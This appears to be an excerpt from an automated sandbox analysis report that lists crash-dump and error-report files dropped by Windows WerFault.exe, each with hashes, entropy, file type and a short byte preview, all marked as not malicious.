                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.5.7.6.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER4134.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4634
                                                                                                                                                                                                          Entropy (8bit):4.526506840988835
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs1Jg77aI9lCWpW8VY6Ym8M4JIGF++q8hK0285d:uIjfPI7zD7VCJQBj85d
                                                                                                                                                                                                          MD5:77C68B883D673E2753270CA0A9494131
                                                                                                                                                                                                          SHA1:81BE7F1E3EBB9DB88A2336A850D48BA9A0955F31
                                                                                                                                                                                                          SHA-256:75BA1B2D7E3F7A753B500BD57ECEC5576ED550C677F9413BE5824B794DF7D219
                                                                                                                                                                                                          SHA-512:EC65445157FE500497F2B7D05BE00C54FCAE2E1A19F7683D2792EE3FFAF3D83E62FA02E2B9E7450C01EDAE769E110135993AC6CD0278E9F615F2CBE32880CB2E
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583696" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER475C.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:13:42 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):661420
                                                                                                                                                                                                          Entropy (8bit):1.5496172161314659
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:1536:mGvKhTZCHx0cS+FpB75HcdExYppJJdimQMlF7/:bvKxExlFLBK6Y//T
                                                                                                                                                                                                          MD5:B9165562B70DA640288A6F238D8D14A9
                                                                                                                                                                                                          SHA1:FBFEC3BA899119D4D17F374DA2103EEDE4E127D9
                                                                                                                                                                                                          SHA-256:21E57C218D61208E46C3031843849E2F8FB56D8283B100CC9B7282940BA2B462
                                                                                                                                                                                                          SHA-512:41CE8E8C0261152F487D9F44F4FCE241E10EE521D1FC16E7FF19AFD253BD2FD3A66E499A8437A4D628227723D4806179F483CFCF22A30090C719CB7E7341419B
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... .......F;2g........................................&...........T.......8...........T...........0...|...........x,..........d...............................................................................eJ..............GenuineIntel............T.......T....;2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER49FD.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8376
                                                                                                                                                                                                          Entropy (8bit):3.709017034804886
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJKt6MMYe6Y2DUSU99gmfZpprw89b99PTsfVfm:R6lXJI6x6YpSU99gmfZ59qfQ
                                                                                                                                                                                                          MD5:4A1E8BD6F8D36092712F2377D3467952
                                                                                                                                                                                                          SHA1:630091F65A9C34FC8C02A0F285B5866D6EA39541
                                                                                                                                                                                                          SHA-256:C21457708431A7D41AD9FC28B648CF83FEA71A0688F8CD54BD30B9FBDC81E4D4
                                                                                                                                                                                                          SHA-512:1C11823D337CEBBE436C3FD11D7A24590D44D22AB4C96AC4389BA1C7B985A26BF37DBC2CB4A19C550CC67B2EDCAD863BAE02C0D5B82E5085B92D0990C0507F74
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.1.8.0.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER4A5C.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4634
                                                                                                                                                                                                          Entropy (8bit):4.528313105218298
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs1Jg77aI9lCWpW8VYx5Ym8M4JIGFP+q8hkV028ed:uIjfPI7zD7VioJJpVj8ed
                                                                                                                                                                                                          MD5:1565170A3B844B070ADD7F92F50C9AB9
                                                                                                                                                                                                          SHA1:0352D70F2BC37C7B2033D58FC65F62E305BA1A41
                                                                                                                                                                                                          SHA-256:CDBD0DB0BE3F93AB5A07A6E674C600D6C202683A9B846FE520C6456859AF81AC
                                                                                                                                                                                                          SHA-512:7D9BBCF5D716B5E3342EF7031453EBA311FEBBDB07334A81A8C4286D4EC85FAD88C99068FD0E9F89C4419F218CF45BBA1FD8EE9ED2DDFCC9CEE559D6F0ED73D2
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583696" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D19.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:13:43 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):69852
                                                                                                                                                                                                          Entropy (8bit):1.9637174046304262
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:3AUUQ64UXVXDQOSOKdlHFRGW6VSTurDf4HwIrnxMRkkEAxA1I9utP:+tQOtO9/z686rTmwIrnxMRILIe
                                                                                                                                                                                                          MD5:9542F188D05B876CAEAC175B385B261E
                                                                                                                                                                                                          SHA1:41C7883EFCBD4E78416C9AD0409B3BA703A26F52
                                                                                                                                                                                                          SHA-256:359CA8048BE747B363036C62FDC38E7ACEF625E0839AECA1ED0E3706E68CAC6A
                                                                                                                                                                                                          SHA-512:BFF5202903448937F582EA2DF04BADC1C00151B14BDE8CCAA55A561AA16687A3158420CCAA1E5D72C0CD1CDBDF046E3AEADA527869027DC60891B1C705FEF40F
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... .......G;2g............$...............,............5..........T.......8...........T.......................................................................................................................eJ......D.......GenuineIntel............T............;2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER4EA1.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8366
                                                                                                                                                                                                          Entropy (8bit):3.711415738804674
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJwq6e6Y2DgSU9dJgmfZpprr89bCisfJB2m:R6lXJ16e6Y9SU9TgmfZ4ChfJZ
                                                                                                                                                                                                          MD5:28FF028C3AF2FFE3B19A0AF727512546
                                                                                                                                                                                                          SHA1:4A212BF39D2DCD32FB1928636EFBD914A9A250A7
                                                                                                                                                                                                          SHA-256:95FDD700465BF37CE19EF2E17790CDF310DECBD3C8587E2C19DEA5350322B66C
                                                                                                                                                                                                          SHA-512:D2F248659AC21CC127DA44FD8F18F0E2513FBE42A8A75B8696F280E9EF19FBB59B0FF15149A1C482C47BD7E60E1F55E43DFEABB5B7729950C21E57E3DC938C4A
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.3.7.6.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER5076.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4634
                                                                                                                                                                                                          Entropy (8bit):4.527600656217282
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs1Jg77aI9lCWpW8VYPYm8M4JIGF/+q8h6J028fd:uIjfPI7zD7VXJRlJj8fd
                                                                                                                                                                                                          MD5:C23A2000CED6B3085B0DABE29FB06F8D
                                                                                                                                                                                                          SHA1:8C2C705732436741D0D3387DFE107B582015BBE6
                                                                                                                                                                                                          SHA-256:670CE2648DC01DBB47EEEF4B54567C1BB4A651A517B84F49FA656B97DAAE3495
                                                                                                                                                                                                          SHA-512:316AE23EE1B858CA700782976AF087254C89834EF3D37E8FA073B8B80FD46F5FF5DE73928D80AC55253BC45642B8247805677FF8096199D0A8CB2D5CE11A1F3E
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583696" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER52A7.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:13:45 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):90180
                                                                                                                                                                                                          Entropy (8bit):1.9128108815645986
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:384:6b/2JrBdO9NXNrEXVMpKmSBw5fFzyTUKtBDmJwgYDjNDhrNFvbNq:6b/2JddObFOdNBw9FzuBD
                                                                                                                                                                                                          MD5:BEFB2121F4927151A99654F09EF702BB
                                                                                                                                                                                                          SHA1:F6E19E2F2217A9BF615B6616B1BC881F36F16540
                                                                                                                                                                                                          SHA-256:C259E4361F6D630AF09B5D653A88E4CF5A8EE7ADC28C2B7D4854B5A9E81CA537
                                                                                                                                                                                                          SHA-512:DE23B512095AC171DA79AA66FE7129AFFF62AA80751A73443D11D3003454680226E292D286C6BB6E0C0F3FA4AB8148F6B9EE9BCB9B98C2101FC15E44E76465C0
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... .......I;2g.........................................>..........T.......8...........T...........0!...?..........P...........<...............................................................................eJ..............GenuineIntel............T............;2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER53A2.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8366
                                                                                                                                                                                                          Entropy (8bit):3.713928219998161
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJWE6x6Y2DESU99JgmfZpprA89bLUsfO5m:R6lXJN6x6Y5SU9zgmfZpLHfh
                                                                                                                                                                                                          MD5:DD69EB789EE1FA3988B9D286A7DA9621
                                                                                                                                                                                                          SHA1:B1580E585341AD895B89B6652A85ECE44E86C70E
                                                                                                                                                                                                          SHA-256:C2E4A12C6A9CFAB85298471439EDF7F1CF43AE8BBDA4DD7AD60A0D19263B1EE7
                                                                                                                                                                                                          SHA-512:8B15427421EC1190849D304D1D702B9254E8307F645036E05D91BD2DC92366A5BDC9090E46F1ADD53C5C5B0EA856F761EAE0CE0152EA54F65AD4821494958EE9
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.8.3.6.<./.P.i.

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER546E.tmp.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):4634
                                                                                                                                                                                                          Entropy (8bit):4.528561139464415
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:48:cvIwWl8zs1Jg77aI9lCWpW8VYGYm8M4JIGFU+q8hQ0289d:uIjfPI7zD7VmJezj89d
                                                                                                                                                                                                          MD5:9254BF9D5BFFFD3B659F485500F20CCC
                                                                                                                                                                                                          SHA1:A3F8B58A277E4432EADDF76F04F0C7048394214E
                                                                                                                                                                                                          SHA-256:1D7EC888485E6BE3B26F45DBA3C0BFD7EF02A2F25420BC98BF6A80012202B938
                                                                                                                                                                                                          SHA-512:269E0CD90975458A2EC822540CF6AF0DCCEF591B1DC078B5CE1BC833213D1D4D47EB34666DBD4F35251CC4099EC1B1A5769C9690E3DBF0F5AB0F0B5A6B5016A0
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583696" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER5A96.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:13:47 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):881872
                                                                                                                                                                                                          Entropy (8bit):1.7642189988115706
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:1536:OfOyZUqVwrfQaPvJWKoFEM3/PVnlakdFFqgXDVd2m7aKqPd0lweHKYIt:OQqVwrf3gbj3/PikhqgXDKdc5nIt
                                                                                                                                                                                                          MD5:859FF89F8880E33BE92B60082EF8C637
                                                                                                                                                                                                          SHA1:9AAE4B5DB783DB3A9C3085AA5F66663455E64198
                                                                                                                                                                                                          SHA-256:FE9261F6A51448D511CEB273EBA4CF2729B2218F3D677146B5FD83BB46FCB3FA
                                                                                                                                                                                                          SHA-512:BA8F1C296A9407198A8768B07024D580359E0367C1505FE4252878888490E13C011013EEA8DBF5706674E79B576EA97F7BE40551D60F22C3B0B9896574089F18
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... .......K;2g...................................../...A..........T.......8...........T............u..............x/..........d1..............................................................................eJ.......1......GenuineIntel............T............;2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D94.tmp.dmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:13:48 2024, 0x1205a4 type
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):73266
                                                                                                                                                                                                          Entropy (8bit):2.025493558061615
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:384:24tQOrMpO3QjpXsYK/gzp7tjnWs2dzie2MmvQC7+Nn18:XLrMpOAjXdCsw2e2MSKn
                                                                                                                                                                                                          MD5:00AB04236DFEEDB7BF8496FAB6DBB026
                                                                                                                                                                                                          SHA1:6C6B20A2B7CCD527F605DC5F74F6886D9E9AD110
                                                                                                                                                                                                          SHA-256:931DA9F5B1F60E51770F644642045C9302445A996E5E3AB78DB0AE4FA7D07ADA
                                                                                                                                                                                                          SHA-512:34E4AE4E2B6C595EB049782F4271CA6BCD1802CDB3D8A6951C9F5180AAD4C214315F44C0887DE0EB1E89C48BE0039522BFD38AB3815A7A98344D79E6BA03949B
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:MDMP..a..... .......L;2g............$...............,.......D....5..........T.......8...........T...............j.......................................................................................................eJ......D.......GenuineIntel............T.......X....;2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\ProgramData\Microsoft\Windows\WER\Temp\WER5EBE.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):8368
                                                                                                                                                                                                          Entropy (8bit):3.7113571262067184
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:192:R6l7wVeJ/P6Qe6Y2DnSU9PxgmfZppr989beDsfQqm:R6lXJX6B6YaSU9ZgmfZueof8
                                                                                                                                                                                                          MD5:A669DFA31BFA06A43A95F4B4FAEA0096
                                                                                                                                                                                                          SHA1:F493358D4DDC7B4758A54EC893E9DACFA7D0FF00
                                                                                                                                                                                                          SHA-256:869B61B30B67E87E34232AE833B3393527CD67AA384BB8698DD7CC91B0621EF0
                                                                                                                                                                                                          SHA-512:CA22D2544712D6CD9C9206889059916D97E31CA85374F6619D0934E8D9A39BD7A15B5582AD47BD398208D322AF4210CBD7BC46288A7C43F72C8927DC0512E9E8
                                                                                                                                                                                                          Malicious:false
